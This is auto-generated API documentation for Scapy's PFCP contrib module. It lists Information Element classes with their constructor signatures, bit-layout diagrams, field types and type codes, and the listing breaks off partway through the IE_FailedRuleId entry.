class scapy.contrib.pfcp.IE_DestinationInterface(_pkt, /, *, ietype=0, length=None, spare=0, interface=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L994-L1001]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE |INTERFA|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. IE_DestinationInterface                   


IE_DestinationInterface fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (4 bits)

	0



	interface

	BitEnumField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 42

	








	
scapy.contrib.pfcp.IE_Dispatcher(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L467-L479]

	Choose the correct Information Element class.






	
class scapy.contrib.pfcp.IE_DownlinkDataNotificationDelay(_pkt, /, *, ietype=0, length=None, delay=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1070-L1076]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DELAY     |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. IE_DownlinkDataNotificationDelay               


IE_DownlinkDataNotificationDelay fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	delay

	ByteField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 46

	








	
class scapy.contrib.pfcp.IE_DownlinkDataReport(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L641-L643]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_DownlinkDataReport                    


IE_DownlinkDataReport fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 83

	








	
class scapy.contrib.pfcp.IE_DownlinkDataServiceInformation(_pkt, /, *, ietype=0, length=None, spare_1=None, QFII=0, PPI=0, spare_2=None, ppi_val=None, spare_3=None, qfi_val=None, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1047-L1067]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE 1  |Q|P|SPA|  PPI VAL  |SPA|  QFI VAL  |   EXTRA DATA  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

              Fig. IE_DownlinkDataServiceInformation              


IE_DownlinkDataServiceInformation fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare_1

	XBitField  (6 bits)

	None



	QFII

	BitField  (1 bit)

	0



	PPI

	BitField  (1 bit)

	0



	spare_2

	XBitField (Cond) (2 bits)

	None



	ppi_val

	XBitField (Cond) (6 bits)

	None



	spare_3

	XBitField (Cond) (2 bits)

	None



	qfi_val

	XBitField (Cond) (6 bits)

	None



	extra_data

	ExtraDataField

	b''











	
ie_type = 45

	








	
class scapy.contrib.pfcp.IE_DroppedDLTrafficThreshold(_pkt, /, *, ietype=0, length=None, spare=0, DLBY=0, DLPA=0, packet_count=0, byte_count=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1389-L1401]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   SPARE   |D|D|                  PACKET COUNT                 |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   BYTE COUNT                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. IE_DroppedDLTrafficThreshold                 


IE_DroppedDLTrafficThreshold fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (6 bits)

	0



	DLBY

	BitField  (1 bit)

	0



	DLPA

	BitField  (1 bit)

	0



	packet_count

	LongField (Cond)

	0



	byte_count

	LongField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 72

	








	
class scapy.contrib.pfcp.IE_DuplicatingParameters(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L526-L528]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_DuplicatingParameters                   


IE_DuplicatingParameters fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 5

	








	
class scapy.contrib.pfcp.IE_DurationMeasurement(_pkt, /, *, ietype=0, length=None, duration=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1353-L1359]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DURATION                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. IE_DurationMeasurement                    


IE_DurationMeasurement fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	duration

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 67

	








	
class scapy.contrib.pfcp.IE_EndTime(_pkt, /, *, ietype=0, length=None, timestamp=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1437-L1443]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IE_EndTime                          


IE_EndTime fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	timestamp

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 76

	








	
class scapy.contrib.pfcp.IE_EnterpriseSpecific(_pkt, /, *, ietype=0, length=None, enterprise_id=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2257-L2263]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ENTERPRISE ID         |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_EnterpriseSpecific                    


IE_EnterpriseSpecific fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	enterprise_id

	ShortEnumField

	None



	data

	StrLenField

	b''











	
ie_type = None

	








	
class scapy.contrib.pfcp.IE_ErrorIndicationReport(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L661-L663]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_ErrorIndicationReport                   


IE_ErrorIndicationReport fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 99

	








	
class scapy.contrib.pfcp.IE_EthernetFilterId(_pkt, /, *, ietype=0, length=None, id=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2015-L2021]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_EthernetFilterId                     


IE_EthernetFilterId fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	id

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 138

	








	
class scapy.contrib.pfcp.IE_EthernetFilterProperties(_pkt, /, *, ietype=0, length=None, spare=0, BIDE=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2024-L2031]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SPARE    |B|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. IE_EthernetFilterProperties                 


IE_EthernetFilterProperties fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (7 bits)

	0



	BIDE

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 139

	








	
class scapy.contrib.pfcp.IE_EthernetInactivityTimer(_pkt, /, *, ietype=0, length=None, timer=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2112-L2118]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TIMER                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. IE_EthernetInactivityTimer                  


IE_EthernetInactivityTimer fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	timer

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 146

	








	
class scapy.contrib.pfcp.IE_EthernetPDUSessionInformation(_pkt, /, *, ietype=0, length=None, spare=0, ETHI=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2080-L2087]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SPARE    |E|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. IE_EthernetPDUSessionInformation               


IE_EthernetPDUSessionInformation fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (7 bits)

	0



	ETHI

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 142

	








	
class scapy.contrib.pfcp.IE_EthernetPacketFilter(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L701-L703]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. IE_EthernetPacketFilter                   


IE_EthernetPacketFilter fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 132

	








	
class scapy.contrib.pfcp.IE_EthernetTrafficInformation(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L706-L708]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. IE_EthernetTrafficInformation                


IE_EthernetTrafficInformation fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 143

	








	
class scapy.contrib.pfcp.IE_Ethertype(_pkt, /, *, ietype=0, length=None, type=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1995-L2001]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_Ethertype                         


IE_Ethertype fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	type

	ShortField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 136

	








	
class scapy.contrib.pfcp.IE_EventQuota(_pkt, /, *, ietype=0, length=None, event_quota=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2121-L2127]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          EVENT QUOTA                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_EventQuota                        


IE_EventQuota fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	event_quota

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 148

	








	
class scapy.contrib.pfcp.IE_EventThreshold(_pkt, /, *, ietype=0, length=None, event_threshold=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2130-L2136]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        EVENT THRESHOLD                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_EventThreshold                      


IE_EventThreshold fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	event_threshold

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 149

	








	
class scapy.contrib.pfcp.IE_EventTimeStamp(_pkt, /, *, ietype=0, length=None, timestamp=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2211-L2217]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_EventTimeStamp                      


IE_EventTimeStamp fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	timestamp

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 156

	








	
class scapy.contrib.pfcp.IE_FAR_Id(_pkt, /, *, ietype=0, length=None, id=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1713-L1719]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_FAR_Id                          


IE_FAR_Id fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	id

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 108

	








	
class scapy.contrib.pfcp.IE_FSEID(_pkt, /, *, ietype=0, length=None, spare=0, v4=0, v6=0, seid=0, ipv4=0, ipv6=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1167-L1180]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   SPARE   |V|V|                      SEID                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      IPV4                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      IPV6                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_FSEID                           


IE_FSEID fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (6 bits)

	0



	v4

	BitField  (1 bit)

	0



	v6

	BitField  (1 bit)

	0



	seid

	XLongField

	0



	ipv4

	IPField (Cond)

	0



	ipv6

	IP6Field (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 57

	








	
class scapy.contrib.pfcp.IE_FTEID(_pkt, /, *, ietype=0, length=None, spare=0, CHID=0, CH=0, V6=0, V4=0, TEID=0, ipv4=0, ipv6=0, choose_id=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L734-L751]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE |C|C|V|V|                      TEID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      IPV4                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      IPV6                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   CHOOSE ID   |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_FTEID                           


IE_FTEID fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (4 bits)

	0



	CHID

	BitField  (1 bit)

	0



	CH

	BitField  (1 bit)

	0



	V6

	BitField  (1 bit)

	0



	V4

	BitField  (1 bit)

	0



	TEID

	XIntField (Cond)

	0



	ipv4

	IPField (Cond)

	0



	ipv6

	IP6Field (Cond)

	0



	choose_id

	ByteField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 21

	








	
class scapy.contrib.pfcp.IE_FailedRuleId(_pkt, /, *, ietype=0, length=None, spare=0, type=0, pdr_id=0, far_id=0, qer_id=0, urr_id=0, bar_id=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1771-L1786]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
